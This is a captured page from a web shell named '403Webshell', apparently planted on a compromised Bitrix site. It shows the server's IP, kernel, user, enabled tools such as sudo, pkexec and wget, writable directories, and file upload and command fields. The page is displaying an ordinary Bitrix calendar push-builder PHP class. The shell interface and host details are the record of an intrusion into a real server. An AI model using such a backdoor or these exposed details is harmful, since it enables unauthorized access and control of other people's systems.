403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/ilovecveti.ru/bitrix/modules/calendar/lib/sync/builders/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/ilovecveti.ru/bitrix/modules/calendar/lib/sync/builders/builderpushfromdm.php
<?php

namespace Bitrix\Calendar\Sync\Builders;

use Bitrix\Calendar\Core\Base\Date;
use Bitrix\Calendar\Core\Builders\Builder;
use Bitrix\Calendar\Internals\EO_Push;
use Bitrix\Calendar\Sync\Dictionary;
use Bitrix\Calendar\Sync\Push\Push;
use Bitrix\Main\ObjectException;

class BuilderPushFromDM implements Builder
{
	private EO_Push $push;

	/**
	 * @param EO_Push $push
	 */
	public function __construct(EO_Push $push)
	{
		$this->push = $push;
	}

	/**
	 * @return Push
	 *
	 * @throws ObjectException
	 */
	public function build(): Push
	{
		return ( new Push())
			->setEntityType($this->push->getEntityType())
			->setEntityId($this->push->getEntityId())
			->setChannelId($this->push->getChannelId())
			->setResourceId($this->push->getResourceId())
			->setExpireDate($this->getExpireDate())
			->setProcessStatus($this->push->getNotProcessed() ?? Dictionary::PUSH_STATUS_PROCESS['unblocked'])
			->setFirstPushDate($this->getFirstPushDate())
			;
	}

	/**
	 * @return Date
	 *
	 * @throws ObjectException
	 */
	private function getExpireDate(): Date
	{
		return new Date($this->push->getExpires());
	}

	/**
	 * @return Date|null
	 *
	 * @throws ObjectException
	 */
	private function getFirstPushDate(): ?Date
	{
		return $this->push->getFirstPushDate()
			? new Date($this->push->getFirstPushDate())
			: null;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit